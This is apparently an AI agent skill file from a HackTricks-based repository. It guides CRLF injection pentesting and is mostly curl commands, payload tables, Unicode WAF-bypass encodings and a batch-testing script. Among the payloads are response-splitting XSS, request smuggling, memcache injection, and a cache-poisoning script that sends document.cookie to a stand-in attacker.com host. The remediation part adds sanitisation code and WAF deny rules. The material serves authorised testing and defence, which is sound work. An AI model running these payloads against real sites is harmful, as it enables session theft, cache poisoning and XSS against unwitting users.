Hacktricks-skills crlf-injection-pentest
How to test for CRLF (Carriage Return Line Feed) injection vulnerabilities in web applications. Use this skill whenever you need to assess HTTP header injection, response splitting, or newline-based bypasses during web security testing. Trigger this skill when the user mentions CRLF, HTTP header injection, response splitting, newline injection, URL encoding attacks, or any scenario involving user input reflected in HTTP headers. Also use when testing for XSS via header injection, cache poisoning, or SSRF through HTTP request smuggling.
git clone https://github.com/abelrguezr/hacktricks-skills
skills/pentesting-web/crlf-0d-0a/SKILL.MDCRLF Injection Pentesting Skill
This skill guides you through testing for CRLF (Carriage Return Line Feed) injection vulnerabilities in web applications. CRLF injection occurs when user-supplied input containing CR (
%0D or \r) and LF (%0A or \n) characters is reflected in HTTP headers without proper sanitization.
When to Use This Skill
Use this skill when:
- Testing web applications for HTTP header injection vulnerabilities
- Investigating potential response splitting attacks
- Assessing XSS vectors through header manipulation
- Testing for cache poisoning or request smuggling via CRLF
- Analyzing applications that reflect user input in headers (redirects, custom headers, cookies)
- Bypassing WAFs using Unicode newline variants
- Reviewing code that sets HTTP headers from user input
Understanding CRLF Injection
What is CRLF?
- CR (Carriage Return):
or%0D
- moves cursor to beginning of line\r - LF (Line Feed):
or%0A
- moves cursor to next line\n - CRLF:
or%0D%0A
- standard HTTP line terminator\r\n
HTTP uses CRLF to separate headers from the body. When attackers inject CRLF into headers, they can:
- Terminate the current header early
- Inject new headers
- Inject response body content
- Split responses entirely
Attack Vectors
| Vector | Impact | Example |
|---|---|---|
| Response Splitting | XSS, Cache Poisoning | Inject headers + body |
| Header Injection | Cookie planting, CORS bypass | Add , |
| Open Redirect | Phishing | Inject header |
| Request Smuggling | Bypass WAF, SSRF | Inject second HTTP request |
| Log Poisoning | Cover tracks | Fake log entries |
| Memcache Poisoning | Session hijacking | Inject memcache commands |
Testing Methodology
Step 1: Identify Reflection Points
Find where user input appears in HTTP responses:
# Check for reflected parameters in headers curl -v "http://target.com/page?user_input=test" 2>&1 | grep -i "user_input\|test" # Look for redirect parameters curl -v "http://target.com/redirect?url=http://example.com" 2>&1 | grep -i "location" # Check custom headers curl -v "http://target.com/api?callback=test" 2>&1 | grep -i "x-\|custom"
Common vulnerable parameters:
,redirect
,return_url
,next
,goto
,urldest
,callback
,originreferer
,user_agent
,hostx-forwarded-*
,cookie
,sessiontoken
,page
,action
,moduleview
Step 2: Basic CRLF Testing
Test if CRLF characters are reflected:
# Basic CRLF test curl -v "http://target.com/page?input=test%0D%0AHeader-Test:injected" # Check response headers for injection curl -s "http://target.com/page?input=test%0D%0ASet-Cookie:injected=true" | grep -i "injected" # Test with URL-encoded CRLF curl -v "http://target.com/page?input=test%250D%250AHeader-Test:injected"
What to look for:
- New headers appearing in response
- Response body starting earlier than expected
- Multiple
headersLocation: - Unexpected cookies being set
Step 3: Response Splitting Tests
Test for HTTP response splitting:
# Inject new header curl -v "http://target.com/page?input=test%0D%0AX-Injected:malicious" # Inject cookie curl -v "http://target.com/page?input=test%0D%0ASet-Cookie:admin=true" # Full response split with XSS curl -v "http://target.com/page?input=test%0D%0AContent-Length:0%0D%0A%0D%0A<script>alert(1)</script>"
Step 4: Advanced Payloads
Use the payload generator script for comprehensive testing:
# Generate all CRLF payloads python scripts/generate_crlf_payloads.py > crlf_payloads.txt # Test specific payload curl -v "http://target.com/page?input=$(cat crlf_payloads.txt | head -1)"
Step 5: WAF Bypass Techniques
If basic CRLF is filtered, try Unicode variants:
# Unicode line separators (often not filtered) curl -v "http://target.com/page?input=test%E2%80%A8Header-Test:injected" # U+2028 LINE SEPARATOR curl -v "http://target.com/page?input=test%E2%80%A9Header-Test:injected" # U+2029 PARAGRAPH SEPARATOR curl -v "http://target.com/page?input=test%C2%85Header-Test:injected" # U+0085 NEXT LINE # Double encoding curl -v "http://target.com/page?input=test%250D%250AHeader-Test:injected" # Mixed case curl -v "http://target.com/page?input=test%0d%0aHeader-Test:injected" # Alternative encoding curl -v "http://target.com/page?input=test%E5%98%8A%E5%98%8DHeader-Test:injected"
Step 6: Verify Vulnerability
Confirm the injection worked:
# Check for injected cookie http --headers "http://target.com/page?input=test%0D%0ASet-Cookie:injected=true" | grep -i "injected" # Check for new header http --headers "http://target.com/page?input=test%0D%0AX-Injected:malicious" | grep -i "x-injected" # Check response body manipulation http "http://target.com/page?input=test%0D%0AContent-Length:0%0D%0A%0D%0A<Injected>" | grep -i "<Injected>"
Common Attack Scenarios
1. XSS via Response Splitting
# Basic XSS payload curl -v "http://target.com/page?input=test%0D%0AContent-Length:35%0D%0AX-XSS-Protection:0%0D%0A%0D%0A<script>alert(document.domain)</script>" # With Content-Encoding bypass curl -v "http://target.com/page?input=test%0D%0AContent-Encoding:identity%0D%0AContent-Length:30%0D%0A%0D%0A<script>alert(1)</script>"
2. Open Redirect + CRLF
# Inject Location header curl -v "http://target.com/redirect?url=http://evil.com%0D%0ASet-Cookie:admin=true" # Chained with path traversal curl -v "http://target.com/redirect?url=//www.google.com/%2F%2E%2E%0D%0AHeader-Test:test2"
3. Cache Poisoning
# Poison cache with malicious response curl -v "http://target.com/page?input=test%0D%0ACache-Control:private%0D%0A%0D%0A<script>fetch('http://attacker.com/steal?cookie='+document.cookie)</script>"
4. Request Smuggling
# Inject second request curl -v "http://target.com/page?input=test%0D%0AConnection:keep-alive%0D%0A%0D%0AGET /admin HTTP/1.1%0D%0AHost:target.com%0D%0A%0D%0A"
5. Memcache Poisoning
# Inject memcache commands (if backend uses memcache) curl -v "http://target.com/page?input=test%0D%0Aflush_all%0D%0Aset session:admin 0 0 100%0D%0Aadmin_data"
Payload Reference
Basic CRLF Payloads
| Purpose | Payload |
|---|---|
| Header injection | |
| Cookie injection | |
| Response split | |
| XSS via split | |
| Open redirect | |
Unicode Bypass Payloads
| Character | Unicode | URL Encoded | Purpose |
|---|---|---|---|
| LINE SEPARATOR | U+2028 | | Bypass WAF |
| PARAGRAPH SEPARATOR | U+2029 | | Bypass WAF |
| NEXT LINE | U+0085 | | Bypass WAF |
| LF (alt) | U+560A | | Double encoding |
| CR (alt) | U+560D | | Double encoding |
Filter Bypass Combinations
# Unicode + CRLF %E2%80%A8%E2%80%A9Set-Cookie:test # Double encoding %250D%250ASet-Cookie:test # Mixed encoding %E5%98%8A%E5%98%8DSet-Cookie:test # With Content-Encoding bypass %0D%0AContent-Encoding:identity%0D%0AContent-Length:30%0D%0A%0D%0A
Automated Testing
Using curl for batch testing
#!/bin/bash # Test multiple endpoints for CRLF ENDPOINTS=( "http://target.com/page?input=" "http://target.com/redirect?url=" "http://target.com/api?callback=" ) PAYLOADS=( "%0D%0ASet-Cookie:injected=true" "%0D%0AX-Injected:malicious" "%0D%0A%0D%0A<script>alert(1)</script>" "%E2%80%A8Set-Cookie:injected=true" ) for endpoint in "${ENDPOINTS[@]}"; do for payload in "${PAYLOADS[@]}"; do echo "Testing: $endpoint$payload" curl -s -I "$endpoint$payload" | grep -i "injected\|malicious" && echo "[VULNERABLE]" done done
Using the payload generator
# Generate comprehensive payload list python scripts/generate_crlf_payloads.py --all > payloads.txt # Test with httpie while read payload; do http --headers "http://target.com/page?input=$payload" | grep -i "injected" && echo "Found: $payload" done < payloads.txt
Verification Checklist
After detecting potential CRLF injection:
- Confirm new headers appear in response
- Verify cookies can be injected
- Test if response body can be manipulated
- Check if XSS payload executes in browser
- Verify cache poisoning works (test from different IPs)
- Test request smuggling if applicable
- Document all working payloads
- Assess impact (XSS, SSRF, session hijacking, etc.)
Remediation Guidance
For Developers
-
Never reflect user input in headers
# BAD response.headers['X-Custom'] = user_input # GOOD response.headers['X-Custom'] = 'static-value' -
Validate and sanitize input
# Python example import re def sanitize_header_value(value): # Remove CR, LF, and Unicode variants return re.sub(r'[\r\n\x00\u2028\u2029\u0085]', '', value) -
Use framework protections
- Django:
automatically sanitizes headersHttpResponse - Express: Use
middlewarehelmet - Spring: Use
with validationHttpServletResponse
- Django:
-
Implement allowlists
ALLOWED_REDIRECTS = ['https://trusted.com', 'https://trusted.org'] def safe_redirect(url): if url in ALLOWED_REDIRECTS: return redirect(url) return redirect('/') -
Update dependencies
- RestSharp: ≥110.2.0 (CVE-2024-45302)
- Refit: >7.2.101 (CVE-2024-51501)
- Apache APISIX Dashboard: patched version
For Security Teams
-
WAF Rules
# Block CRLF in request if ($request ~* "%(0d|0a|13|0a)") { return 403; } # Block Unicode variants if ($request ~* "%(e2%80%a[89]|c2%85)") { return 403; } -
Monitoring
- Alert on CRLF patterns in logs
- Monitor for unusual header patterns
- Track response splitting attempts
-
Testing
- Include CRLF tests in CI/CD pipeline
- Regular penetration testing
- Bug bounty program with CRLF scope
Tools
| Tool | Purpose | Link |
|---|---|---|
| CRLFsuite | Active scanner | https://github.com/Raghavd3v/CRLFsuite |
| crlfuzz | Wordlist fuzzer | https://github.com/dwisiswant0/crlfuzz |
| crlfix | Go request patcher | https://github.com/glebarez/crlfix |
| Auto_Wordlists | CRLF wordlist | https://github.com/carlospolop/Auto_Wordlists |
References
- Invicti CRLF Guide
- Acunetix CRLF Injection
- PortSwigger Response Queue Poisoning
- Praetorian Unicode Bypass
- CVE-2024-45302 (RestSharp)
Quick Start
# 1. Generate payloads python scripts/generate_crlf_payloads.py > payloads.txt # 2. Test target curl -v "http://target.com/page?input=$(head -1 payloads.txt)" # 3. Check for injection curl -s -I "http://target.com/page?input=test%0D%0ASet-Cookie:injected=true" | grep -i injected # 4. If vulnerable, test impact curl -v "http://target.com/page?input=test%0D%0AContent-Length:0%0D%0A%0D%0A<script>alert(1)</script>"
Notes
- CRLF injection is most dangerous when combined with other vulnerabilities (XSS, SSRF, cache poisoning)
- Modern frameworks often have built-in protections, but custom code is frequently vulnerable
- Unicode bypasses are increasingly important as WAFs improve
- Always test from multiple angles (URL parameters, headers, cookies, POST data)
- Document findings with proof-of-concept for remediation